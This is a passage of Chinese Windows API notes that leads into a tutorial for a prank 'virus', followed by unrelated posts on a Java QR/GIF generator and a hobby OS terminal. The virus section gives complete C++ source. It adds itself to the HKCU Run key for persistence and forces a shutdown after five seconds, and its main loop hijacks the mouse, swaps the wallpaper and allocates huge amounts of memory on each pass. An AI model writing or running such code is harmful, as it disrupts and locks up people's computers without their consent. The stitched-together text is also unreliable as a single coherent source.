5.0及以后版本。允许或禁止窗口标题栏有倾斜效果。如果允许则将参数pvParam设置为TRUE,否则设为FALSE。有关倾斜效果方面更多信息,请参考GetSysColor函数。 SPI_SETGRIDGRANULARITY:将桌面缩放时网格的颗粒度值设置为参数ulParam中的值。 SPI_SETHANDHELD:内部使用,应用程序不应使用该值。 SPI_SETHIGHCONTRAST:用于Windows 95及以后版本、Windows NT 5.0及以后版本。设置HighContrast可访问特性的参数。参数pvParam必须指向HIGHCONTRAST结构,该结构包含新的参数。该结构中的cbSize成员及参数ulParam的值设为sizeof(HIGHCONTRAST)。 SPI_SETICONMETRICS:设置与图标有关的信息。参数pvParam必须指向包含新参数的ICONMETRICS结构,另外还要将参数ulParam和该结构中的cbSize成员的值设置为sizeof(ICONMETRICS)。 SPI_SETICONS:重新加载系统图标。参数ulParam的值应设为0,而pvParam参数应设为NULL。 SPI_SETICONTITLELOGFONT:设置用于图标标题的字体。参数ulParam指定为logfont结构的大小,而参数pvParam必须指向一个LOGFONT结构。 SPI_SETICONTITLEWRAP:打开或关闭图标标题折行功能。若想打开折行功能,则把参数ulParam设为TRUE,否则为FALSE。 SPI_SETKEYBOARDDELAY:设置键盘重复延迟。参数ulParam必须指定为0,1,2或3。其中0表示设置为最短延迟(大约 250ms)3,表示最大延迟(大约 1 秒)。与每个值对应的实际的延迟时间根据硬件情况有可能有些变化。 SPI_SETKEYBOARDPREF:用于Windows 95及以后版本、Windows NT 5.0及以后版本,设置键盘优先序。如果用户依赖键盘而不是鼠标,那么可将参数ulParam指定为TRUE,否则设为FALSE,并且要求应用程序显示而不隐蔽键盘接口。 SPI_SETKEYBOARDSPEED:设置键盘重击键速度。参数ulParam必须指定一个从0到31的值,其中0表示设置成最快速度(大约30次/秒),31表示设置为最低速度(大约2。5次/秒),实际的重速率与硬件有关,而且可能变动幅度高达20%。如果ulParam大于31,那么该参数仍设置为31。 SPI_SETLANGTOGGLE:为输入语言间切换设置热键集。参数ulParam和pvParam不用。该值通过读取注册表来设置键盘属性表单中的快捷键。在使用该标志之前必须设置注册表,注册表中的路径是"1"=Alt+shift,"2"=Ctrl+shift,"3"=none(无)。 SPI_SETLISTBOXSMOOTHSCROLLING:用于Windows 98和Windows NT 5.0及以后版本。允许或不许列表栏有平滑滚动效果。参数pvParam设置为TRUE表示允许有平滑滚动效果,为FALSE则表示禁止。 SPI_SETLOWPOWERACTIVE:激活或关闭低电压屏幕保护特性。参数ulParam设为1表示激活,0表示关闭。参数pvParam必须设为NULL。对于Windows 98,该标志支持16位和32位应用程序。对于Windows 95,该标志只支持16位应用程序。对于Windows NT.该标志只支持NT 5.0及以后版本的32位应用程序,不支持16位应用程序。 SPI_SETLOWPOWERTIMEOUT:用于设置低电压屏幕保护中的时间值(也称超时值,即在超过某一时间段后自动进行屏幕保护),单位为秒。uIParam参数用来指定这个新值。参数pvParam必须为NULL。对于Windows98,该标志支持16位和32位应用程序。对于Windows 95,该标志只支持16位应用程序。对于Windows NT该标志只支持NT 5.0及以后版本的32位应用程序,不支持16位应用程序。 SPI_SETMENUDROPALIGNMENT:设置弹出或菜单的对齐方式。参数ulParam指定为TRUE时表示是右对齐,FALSE时为左对齐。 SPI_SETMINIMIZEDMETRICS:设置与最小化窗口有关的数据信息,参数pvParam必须指向包含新参数的MINIMIZEDMETRICS结构。该结构中的cbSize成员与ulParam参数的值应设为sizeof(MINMIZEDMETRICS)。 SPI_SETMOUSE:设置鼠标的两个阀值和加速率。参数pvParam必须指向一个长度为3的数组,以指定这些值。详细请参考mouse_event。 SPI_SETMOUSEBUTTONSWAP:调换或恢复鼠标左右按钮的含义,为FALSE时表示恢复原来的含义。 SPI_SETMOUSEHOVERHEGHT:用于Windows 98和Windows NT 4.0及以后版本。设置鼠标指针停留区域的高度,以像素为单位。鼠标指针在此区域停留是为了让TrackMouseEvent产生一条WM_MUOSEHOVER消息,参数ulParam用来设置此高度值。 SPI_SETMOUSEHOVERTIME:用于Windows 98和Windows NT 4.0及以后版本。设置鼠标指针为了让TrackMouseEvent产生WM_MOUSEHOVER事件而在停留区域应停留的时间。该标志只有在将调用dwHoverTime参数中的HOVER_DEFAULT值传送到TrackMouseEvent时才使用。参数ulParam设置这个新的时间值。 SPI_SETMOUSEHOVERWIDTH:用于Windows 98和Windows NT 4.0及以后版本。设置鼠标指针停留区域的宽度,以像素为单位。参数ulParam设置该新值。 SPI_SETMOUSEKEYS:设置MouseKeys易用特性的参数。参数pvParam必须指向包含新参数的MOUSEKEYS结构。结构中的cbSize成员与参数ulParam的值应设为sizeof(MOUSEKEYS)。 SPI_SETMOUSESPEED:用于Windows NT 5.0及以后的版本和Windows 98,设置当前鼠标速度。参数pvParam必须指向一个1(最慢)至20(最快)之间的整数。缺省值是10。一般可以使用鼠标控制面板应用程序来设置该值。 SPI_SETMOUSETRAILS:用于Windows 95及以后版本:允许或禁止有MoouseTrails(鼠标轨迹)特性。该特性通过简短地显示鼠标光标轨迹,并迅速地擦除它们来提高鼠标的可见度。禁止该特性可将参数ulParam设为0或1,允许时,将ulParam设置为一个大于1的数值,该值表示轨迹中画出的光标个数。 SPI_SETNONCLIENTMETRICS:设置与非最小化窗口的非客区有关的数据信息,参数pvParam必须指向NONCLIENTMETRICS结构,该结构包含新的参数。其成员cbSzie和参数ulParam的值应设为sizeof(NONCLIENTMETRICS)。 SPI_SETPENWINDOWS;用于Windows 95及以后版本:指定是否加载笔窗口,当加载时,参数ulParam设为TRUE,不加载时为FALSE。参数pvParam为NULL。 SPI_SETPOWEROFFACTIVE:激活或关闭屏幕保护特性参数。ulParam设为1表示激活,0表示关闭。参数pvParam必须为NULL。对于Windows 98,该标志支持16位和32位应用程序。对于Windows 95,该标志只支持16位应用程序。对于Windows NT,该标志支持Windows NT 5.0及以后版本的32位应用程序,不支持16位应用程序。 SPI_SETPOWEROFFTIMEOUT:设置用于关闭屏幕保护所需的时间值(也称超时值)。参数ulParam指定该值。参数pvParam必须为NULL。对于Windows 98.该标志支持16位和32位应用程序。对于Windows 95,该标志只支持16位应用程序。对于Windows NT,该标志支持Windows NT 5.0及以后版本上的32位应用程序,不支持16位应用程序。 SPI_SETSCREENREADER;用于Windows 95及以后版本、Windows NT 5.0及以后版本,表示屏幕审阅程序是否运行。参数uiparm指定为TRUE表示运行该程序,FALSE则不运行。 SPI_SETSCREENSAVERRUNNING:用于Windows 95及以后版本,内部使用。应用程序不应该使用此标志SPI_SETSETSCREENSAVETIMEOUT:参数ulParam值为屏幕保护器时间限度值。该值是一个时间量,以秒为单位,在屏幕保护器激活之前,系统应该一直是空闲的,超过这个值就激活屏幕保护器。 SPI_SETSERIALKEYS:用于Windows 95及以后版本:设置SerialKeys易用特性的参数。参数pvParam必须指向包含新参数的SERIALKEYS结构,其成员cbSize和参数ulParam应设为sizeof(SERIALKEYS)。 SPI_SETSHOWSOUNDS:将ShowSounds易用特性设置为打开或关闭。参数ulParam指定为TRUE时表示打开,FALSE表示关闭。 SPI_SETSNAPTODEFBUTTON:用于Windows NT 4.0及以后版本、Windows 98。允许或禁止有snap-to-default-button(跳转至缺省按钮)特性。如果允许,那么鼠标光标会自动移至缺省按钮上,例如对话柜中的OK或"apply"按钮。参数ulParam设为TRUE表示允许该特性,FALSE表示禁止。 SPI_SETSOUNDSENTRY:设置SOUNDSENTRY易用特性的参数。参数pvParam必须指向SOUNDSENTRY结构,该结构包含新参数,其成员cbSize和参数ulParam的值应设为sizeof(SOUNDSENTRY)。 SPI_SETSTICKYKEYS:设置stickykeys可访问特性的参数。参数pvParam必须指向包含新参数的stickykeys结构,其成员cbSize和ulParam参数的值要设为sizeof(STICKYKEYS)。 SPI_SETSWITCHTASKDISABLE:用于Windows NT 5.0及以后版本,允许或禁止有Alt+Tab和Alt+Esc任务切换特性。参数ulParam设为1表示允许有该特性,设为0则表示禁止。缺省情况下是允许有任务切换特性的。 SPI_SETTOGGLEKEYS:设置togglekeys可访问特性的参数,参数PvParam必须指向TOGGLEKEYS结构,该结构中包含新的参数。其成员cbSize和参数ulParam的值要设为sizeof(togglekeys)。 SPI_SETWHEELSCROOLLLINES:用于Windows 98和Windows NT 4.O及以后版本。设置当鼠标轨迹球转动时要滚动的行数,滚动的行数是由参数ulParam设置的,该行数是在鼠标轨迹球滚动,并且没有使用修改键时的滚动行数。如果该数值为0,那么不会发生滚动,如果滚动行数比可见到的行数要大,尤其如果是WHEEL_PAGESCROLL(#defined sa UINT_MAX),那么滚动操作应该被解释成在滚动条的下一页或上一页区点击一次。 SPI_SETWORKAREA:设置工作区域大小。工作区是指屏幕上没有被系统任务栏或桌面应用程序桌面工具遮盖的部分。参数pvParam是一个指针。指向RECT结构,该结构规定新的矩形工作区域,它是以虚拟屏幕坐标来表达的。在多显示器系统中,该函数用来设置包含特定矩形的显示器工作区域。如果PvParam为NULL,那么该函数将主显示器的工作区域设为全屏。 更多 uiParam:uiParam 在参数说明中所有为ulParam均为错误。 这个参数值设为true即可。 pvParam:与查询或设置的系统参数有关。关于系统级参数的详情,请参考uiAction参数。否则在没有指明情况下,必须将该参数指定为NULL。 在修改背景图片时为图片信息,PVOID类型。 fWinlni:如果设置系统参数,则它用来指定是否更新用户配置文件(Profile)。亦或是否要将WM_SETTINGCHANGE消息广播给所有顶层窗口,以通知它们新的变化内容。该参数可以是0或下列取值之一: SPIF_UPDATEINIFILE:把新的系统参数的设置内容写入用户配置文件。 SPIF_SENDCHANGE:在更新用户配置文件之后广播WM_SETTINGCHANGE消息。 SPI_SENDWININICHANGE与 SPIF_SENDCHANGE一样。 返回值 如果函数调用成功,返回值非零:如果函数调用失败,那么返回值为零。 控制鼠标方法 控制鼠标坐标的方法同样也时调用一个API,GetCursorPos和SetCursorPos GetCursorPos用于获取鼠标句柄 #include<stdio.h> #include<windows.h> int main() { POINT p; GetCursorPos(&p); return0; } SetCursorPos用于移动鼠标 在使用GetCursorPos获取鼠标句柄之后,可以调用SetCursorPos移动鼠标,它的两个参数分别是x轴和y轴。 函数原型:BOOL SetCursorPos(int X,int Y); 参数: X:指定光标的新的X坐标,以屏幕坐标表示。 Y:指定光标的新的Y坐标,以屏幕坐标表示。 返回值:如果成功,返回非零值;如果失败,返回值是零,若想获得更多错误信息,请调用GetLastError函数。 备注:该光标是共享资源,仅当该光标在一个窗口的客户区域内时它才能移动该光标。 开机自启动方法 注册表 开机自启动的实现方法就是通过注册表实现,在注册表中有固定的开机自启程序设置位置 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run; HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx 在这几项中有我们电脑中的开机自启动程序信息, 例如这个WeChat就是开机时的微信登录程序。 注册表读写方法 RegCreateKey // 打开注册表 LONG WINAPI RegCreateKey( _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _Out_ PHKEY phkResult ); hKey指向当前打开表项的句柄,或者是下列预定义保留句柄值之一,实际上就是注册表中的几个分支。 lpSubKey指向一个空终止的字符串指针,指示这个函数将打开或创建的表项的名称。这个表项必须是由hKey参数所标识的项的子项 phkResult这是一个返回值,指向一个变量的指针,用来接受创建或打开的表项的句柄。当不再需要此返回的注册表项句柄时,调用RegCloseKey函数关闭这个句柄。 RegSetValueEx // 读写注册表 LONG RegSetValueEx( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, CONST BYTE *lpData, DWORD cbData ); hKey一个已打开项的句柄,或指定一个标准项名 lpValueName 指向一个字符串的指针,该字符串包含了欲设置值的名称。若拥有该值名称的值并不存在于指定的注册表项中,则此函数将其加入到该项。如果此值是NULL,或指向空字符串,则此函数为该项的默认值或未命名值设置类型和数据。 Reserved 保留值,必须强制为0 dwType 指定将被存储的数据类型,该参数可以为 REG_BINARY 任何形式的二进制数据 REG_DWORD 一个32位的数字 REG_DWORD_LITTLE_ENDIAN 一个“低字节在前”格式的32位数字 REG_DWORD_BIG_ENDIAN 一个“高字节在前”格式的32位数字 REG_EXPAND_SZ 一个以0结尾的字符串,该字符串包含对环境变量(如“%PAHT”)的未扩展引用 REG_LINK 一个Unicode格式的带符号链接 REG_MULTI_SZ 一个以0结尾的字符串数组,该数组以连接两个0为终止符 REG_NONE 未定义值类型 REG_RESOURCE_LIST 一个设备驱动器资源列表 REG_SZ 一个以0结尾的字符串 lpData 指向一个缓冲区,该缓冲区包含了欲为指定值名称存储的数据。 cbData 指定由lpData参数所指向的数据的大小,单位是字节。 关机方法 Windows 系统自带一个名为Shutdown.exe的程序,可以用于关机操作(位置在WindowsSystem32下),一般情况下Windows系统的关机都可以通过调用程序 shutdown.exe来实现的,同时该程序也可以用于终止正在计划中的关机操作。 shutdown-a 取消关机 shutdown -s 关机 shutdown -f 强行关闭应用程序 shutdown -m \\计算机名 控制远程计算机 shutdown -i 显示“远程关机”图形用户界面,但必须是Shutdown的第一个参数 shutdown -l 注销当前用户 shutdown -r 关机并重启 shutdown -s -t 时间 设置关机倒计时 shutdown -h 休眠 实现 修改桌面背景代码 图片信息使用了一个PVOID数组,并通过一个for循环不断切换桌面背景。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ PVOID s[10] = { (PVOID)"D:\\windows\\system32\\bin\\background.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" , ... (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background9.jpg" }; SystemParametersInfo(20, true,s, 1) ; for(int i=0;i<10;i++){ SystemParametersInfo(20, true,s[i], 1) ; Sleep(1000);//控制时间间隔 } return 0 ; } 控制鼠标代码 利用随机数和while死循环达到鼠标不受控制疯狂随机移动的功能。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ POINT sb; srand((unsigned)time(NULL)); GetCursorPos (&sb);//获取鼠标坐标 while(1){ SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标 Sleep(1);//控制移动时间间隔 } return 0 ; } 开机自启动代码 ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21); 第二个参数是项名称,第五个参数是要开机启动程序的路径位置,最后一个参数是第五个参数路径字符长度。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TCHAR p[64] ; long ret; ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey); if(ret==ERROR_SUCCESS){ ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主 if(ret==ERROR_SUCCESS){ // 写入成功 }else { // 写入失败 cout << "Write filed !" ; } }else { // 注册表打开失败 cout << "Read error !" << endl ; } return 0 ; } 关机代码 这个功能实现比较简单。 #include<stdio.h> #include<windows.h> int main(){ // 五秒关机 system("shutdown -s -t 5"); return 0 ; } 代码 注册程序,将病毒主体加入开机自启动 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TCHAR p[64] ; long ret; ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey); if(ret==ERROR_SUCCESS){ ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主 ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要动作 ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//监控实时变化 if(ret==ERROR_SUCCESS){ // 写入成功 }else { // 写入失败 cout << "Write filed !" ; } }else { cout << "Read error !" << endl ; } return 0 ; } 病毒主体,在上方代码实现开机自启动之后,这段代码可以不断修改壁纸,控制鼠标以及关机。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ POINT sb; PVOID s[10] = { (PVOID)"D:\\windows\\system32\\bin\\background.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background2.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background3.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background4.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background5.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background9.jpg" }; srand((unsigned)time(NULL)); system("shutdown -s -t 5"); SystemParametersInfo(20, true,s, 1) ; GetCursorPos (&sb);//获取鼠标坐标 int i = 0 ; while(1){ int *p = (int*)malloc(10000000000) ; printf("\a"); SystemParametersInfo(20, true,s[i], 1) ; if(i>=9){ i = 0 ; } SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标 Sleep(1);//控制移动时间间隔 } return 0 ; } 参考 : Github
BitQR-Code Through image generate QR-Code . 一个优雅的 QR 二维码生成器 Github项目地址 : https://github.com/CasterWx/BitQR-Code 样例 拿起你的手机扫描下面的二维码试试吧! 原图 Version-3 | Version-5 | 直接拼凑GIF | 分解生成 || ------------ | ------------- | ------------ | | | | | 原图1 原图2 原图3 GIF1 GIF2 GIF3 GIF分解为多个帧 原GIF 第四帧 第七帧 第十帧 第十三帧 第十六帧 第二十帧 生成GIF 2018年最后一天的最后一篇 引用 在项目中导入 QRCode.jar 以添加依赖: <component name="libraryTable"> <library name="QRCode"> <CLASSES> <root url="jar://$PROJECT_DIR$/src/lib/QRCode.jar!/" /> </CLASSES> <JAVADOC /> <SOURCES /> </library> </component> 快速上手 1. "快速导入背景图片" 只想显示一张麻衣学姐的照片 BufferedImage writeImg = ImageIO.read(new File("麻衣学姐.jpg")); BufferedImage bf = new BufferedImage(writeImg.getWidth(),writeImg.getHeight(),BufferedImage.TYPE_INT_RGB); Graphics2D gs = bf.createGraphics() ; gs.clearRect(0,0,bf.getWidth(),bf.getHeight()); gs.drawImage(writeImg,0,0,bf.getWidth(),bf.getHeight(),null); writeImg是读取到的图片,然后根据这张照片创建Graphics的大小。 gs.drawImage(writeImg,0,0,bf.getWidth(),bf.getHeight(),null); 便可以将writeImg绘制到Graphics中了。 File imagefile = new File(imgPath); ImageIO.write(bf,"png",imagefile); 现在就可以利用ImageIO将图片存储到本地了 效果 2. "图片中使用画笔" Graphics2D gs = bf.createGraphics() ; gs.setBackground(Color.white); gs.clearRect(0,0,bf.getWidth(),bf.getHeight()); gs.drawImage(writeImg,0,0,bf.getWidth(),bf.getHeight(),null); gs是创建出的画布,setBackground可以设置其背景色,也可以直接drawImage()将图片绘制进去。 gs.setColor(Color.BLACK); gs.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_ATOP,1.0f)); gs.fillRect(j*mini+begin,i*mini+begin,mini,mini ); setColor用于设置画笔颜色。 setComposite用于设置透明度 fillRect是绘制动作,参数值为起始坐标和结束坐标。 3. "二维码的本质是_______" 二维码的本质是二进制表示数据 二维码的黑白格,其实就代表了0和1两位数据,我们只需要将数据转化为bytes数组,然后根据数组的0-1值直接绘制到图片上,即可生成相应的二维码。 byte []contentByte = "需要表示的数据".getBytes("utf-8"); boolean [][]cidesOut = qrcode.calQrcode(contentByte) ; 这样就可以生成一个cidesOut数组来表示二维码的黑白格。 qrcode是二维码的生成配置,容错率和Qrcode版本等。 Qrcode qrcode = new Qrcode(); qrcode.setQrcodeErrorCorrect('M'); qrcode.setQrcodeEncodeMode('B'); qrcode.setQrcodeVersion(3); 4. "黑白格衬衫!!!" 二维码的本质是黑白格衬衫!!! 双层for循环遍历cidesOut这个boolean数组,如果是true就绘制黑色。 for(int i=0;i<cidesOut.length;i++){ for(int j=0;j<cidesOut.length;j++){ if(cidesOut[j][i]){ gs.fillRect(j*mini+begin,i*mini+begin,mini,mini ); } } } GIF动画帧绘制 1. "如何绘制一个GIF" AnimatedGifEncoder e = new AnimatedGifEncoder(); e.setRepeat(0); e.start(newPic); BufferedImage src[] = new BufferedImage[pic.length]; for (int i = 0; i < src.length; i++) { e.setDelay(playTime); src[i] = ImageIO.read(new File(pic[i])); e.addFrame(src[i]); //添加到帧中 } e.finish(); 首先定义一个GIF生成类. AnimatedGifEncoder e = new AnimatedGifEncoder(); e.start(newPic); newPic代表最后生成的gif文件名. e.setDelay(playTime); 设置播放的延迟时间playTime. e.setDelay(playTime); src[i] = ImageIO.read(new File(pic[i]));e.addFrame(src[i]); 最后将BufferedImage图片添加到帧中. e.finish(); GIF 2. "如何分解一个GIF" 加载gif GifDecoder gd = new GifDecoder();//要处理的图片 int status = gd.read(new FileInputStream(new File("marry.gif"))); if (status != GifDecoder.STATUS_OK) { return; } GIF帧数为gd.getFrameCount(); 我们可以直接获取每一帧的图片并且保存到本地。 for (int i = 0; i < gd.getFrameCount(); i++) { //取得gif的每一帧 BufferedImage frame = gd.getFrame(i); // 存储frame到本地 } 可以将一个GIF分解成帧之后,我们就可以将这一帧添加二维码,然后加入到一个新的GIF中了。 for (int i = 0; i < gd.getFrameCount(); i++) { //取得gif的每一帧 BufferedImage frame = gd.getFrame(i); Graphics2D gs = frame.createGraphics() ; gs.drawImage(frame,0,0,frame.getWidth(),frame.getHeight(),null); int qrLength = frame.getHeight()-2*frame.getHeight()/10 ; int mini = qrLength/cidesOut.length ; int begin = (frame.getWidth() - mini*cidesOut.length)/2 ; for(int k=0;k<cidesOut.length;k++){ for(int j=0;j<cidesOut.length;j++){ if(cidesOut[j][k]){ gs.setColor(Color.BLACK); gs.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_ATOP,1.0f)); gs.fillRect(j*mini+begin,k*mini+begin/4,mini,mini ); } } } int delay = gd.getDelay(i); ge.setDelay(delay); ge.addFrame(frame); 原图 GIF 原图 GIF 原图 GIF
我已经规范了系统代码风格,类似于按照linux分包,把各部分功能区分开了 Antz系统更新地址 Linux内核源码分析地址 Github项目地址 在之前的任务中,我们已经通过直接操作显卡驱动完成了简单的图形化。 需要了解之前的部分: 直接操作显卡请参考day03 简单图形化的实现请参考day09 键盘按键中断响应请参考day10 Makefile 项目目录 一 . 如何实现命令缓存 在之前已经完成了键盘的响应工作,但这种响应却是有很大的问题,比如说对于一次按键的两次中断处理。后来我把两种中断都加入了响应判断中,这样就不会有之前第10天所提到的bug了。 * 在替换函数中完成识别。修改如下 char* replace_char(char s[40]){ char *chr = "$" ; if((strcmp(s,"1E")==0)||(strcmp(s,"9E")==0)){ chr = "a" ; }else if((strcmp(s,"30")==0)||(strcmp(s,"B0")==0)){ chr = "b" ; } ... // 省略 return chr ; * 这里是一些功能按键的识别修改 // Enter -> 回车键 响应之前缓存的命令 换行 if((strcmp(s,"1C")==0)||(strcmp(s,"9C")==0)){ action_command(binfo); //响应命令 write_x = 58 ; //下面是换行 write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS>"); } // F1 -> 终端刷新 类似于clear命令 else if((strcmp(s,"3B")==0)||(strcmp(s,"BB")==0)){ //关于F1的响应中断 sprintf(command,"%s",""); // 命令缓存清空 flag = 0 ; // 按键模式回复默认,这个看第10天,本质目的是为了处理一次按键的两次终端 new_pe(binfo); // 通过操作显存直接刷新当前终端 putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS>"); } // Backspace -> 删格键 else if(strcmp(s,"0E")==0){ // 回退 write_x -= 8 ; boxfill8(binfo->vram, binfo->scrnx , COL8_000000, write_x, write_y, write_x+19, write_y+19); if(write_x<=58){ write_x = 146 ; write_y -= 19 ; } } 这些就是按键识别上目前修改的内容了。 接下来我们要添加一个功能,在每次按键之后,不但在屏幕上显示这个键,而且将他缓存在缓冲区,在下次回车的时候进行识别,并清空。 先来看一个简单的demo // command数组就是命令缓存区 char command[100] = ""; void add_command(char *s) { sprintf(command,"%s%s",command,s); } void action_command(){ // 响应 } 二 . 实现 command就是一个命令缓存数组,每次按键之后调用add_command()命令将这次的按键保存。 sprintf()这个函数是字符串格式化命令,主要功能是把格式化的数据写入某个字符串中。sprintf 是个变参函数。使用sprintf 对于写入buffer的字符数是没有限制的,这就存在了buffer溢出的可能性。 我们使用sprintf函数直接在command后面添加了s字符。 那么在下次按下Enter的时候,我们只需要调用action_command,并且在里面识别是什么命令,然后做出合适的响应即可。 来看看完整的命令缓冲区实现。 // 指令缓存,但是因为中断响应的时间问题,终端输入速度要非常慢 char command[100] = ""; void add_command(char *s) { if(strcmp(s," ")==0){ sprintf(command,"%s%s",command,""); }else if(strcmp(s,"$")){ //忽略这种错误输入 }else { sprintf(command,"%s%s",command,s); } } void action_command(struct BOOTINFO *binfo){ // action command 响应命令 // ls命令 // data命令 if(strcmp(command,"data")==0){ // get new data; write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS in 2018"); }else if(strcmp(command,"cls")==0){ flag = 0 ; new_pe(binfo); }else if(strcmp(command,"version")==0){ write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "Antz.version.1.1"); }else if(strcmp(command,"help")==0){ // help内容过多,显示在图形化界面区域 }else if(sizeof(command)>=1){ write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "Not Found"); } // 命令缓存清除 sprintf(command,"%s",""); } 现在使用Makefile来生成这个支持命令的img镜像。 make img 使用虚拟机打开镜像,结果如下 终端主要代码如下: int write_x = 55 ; int write_y = 57 ; char* replace_char(char s[40]){ char *chr = "$" ; if((strcmp(s,"1E")==0)||(strcmp(s,"9E")==0)){ chr = "a" ; }else if((strcmp(s,"30")==0)||(strcmp(s,"B0")==0)){ chr = "b" ; }else if((strcmp(s,"2E")==0)||(strcmp(s,"AE")==0)){ chr = "c" ; }else if((strcmp(s,"20")==0)||(strcmp(s,"A0")==0)){ chr = "d" ; }else if((strcmp(s,"12")==0)||(strcmp(s,"92")==0)){ chr = "e" ; }else if((strcmp(s,"21")==0)||(strcmp(s,"A1")==0)){ chr = "f" ; }else if((strcmp(s,"22")==0)||(strcmp(s,"A2")==0)){ chr = "g" ; }else if((strcmp(s,"23")==0)||(strcmp(s,"A3")==0)){ chr = "h" ; }else if((strcmp(s,"17")==0)||(strcmp(s,"97")==0)){ chr = "i" ; }else if((strcmp(s,"24")==0)||(strcmp(s,"A4")==0)){ chr = "j" ; }else if((strcmp(s,"25")==0)||(strcmp(s,"A5")==0)){ chr = "k" ; }else if((strcmp(s,"26")==0)||(strcmp(s,"A6")==0)){ chr = "l" ; }else if((strcmp(s,"32")==0)||(strcmp(s,"B2")==0)){ chr = "m" ; }else if((strcmp(s,"31")==0)||(strcmp(s,"B1")==0)){ chr = "n" ; }else if((strcmp(s,"18")==0)||(strcmp(s,"98")==0)){ chr = "o" ; }else if((strcmp(s,"19")==0)||(strcmp(s,"99")==0)){ chr = "p" ; }else if((strcmp(s,"10")==0)||(strcmp(s,"90")==0)){ chr = "q" ; }else if((strcmp(s,"13")==0)||(strcmp(s,"93")==0)){ chr = "r" ; }else if((strcmp(s,"1F")==0)||(strcmp(s,"9F")==0)){ chr = "s" ; }else if((strcmp(s,"14")==0)||(strcmp(s,"94")==0)){ chr = "t" ; }else if((strcmp(s,"16")==0)||(strcmp(s,"96")==0)){ chr = "u" ; }else if((strcmp(s,"2F")==0)||(strcmp(s,"AF")==0)){ chr = "v" ; }else if((strcmp(s,"11")==0)||(strcmp(s,"91")==0)){ chr = "w" ; }else if((strcmp(s,"2D")==0)||(strcmp(s,"AD")==0)){ chr = "x" ; }else if((strcmp(s,"15")==0)||(strcmp(s,"95")==0)){ chr = "y" ; }else if((strcmp(s,"2C")==0)||(strcmp(s,"AC")==0)){ chr = "z" ; }else if((strcmp(s,"39")==0)||(strcmp(s,"B9")==0)){ chr = " " ; } return chr ; } int flag = 1 ; // 指令缓存,但是因为中断响应的时间问题,终端输入速度要非常慢 char command[100] = ""; void add_command(char *s) { /* if(strcmp(s," ")==0){ sprintf(command,"%s%s",command,""); }else if(strcmp(s,"$")){ //忽略这种错误输入 }else { } */ sprintf(command,"%s%s",command,s); } void action_command(struct BOOTINFO *binfo){ // action command // ls // data if(strcmp(command,"data")==0){ // get new data; write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS in 2018"); }else if(strcmp(command,"cls")==0){ flag = 0 ; new_pe(binfo); }else if(strcmp(command,"version")==0){ write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "Antz.version.1.1"); }else if(strcmp(command,"help")==0){ // help内容过多,显示在图形化界面区域 }else if(sizeof(command)>=1){ write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 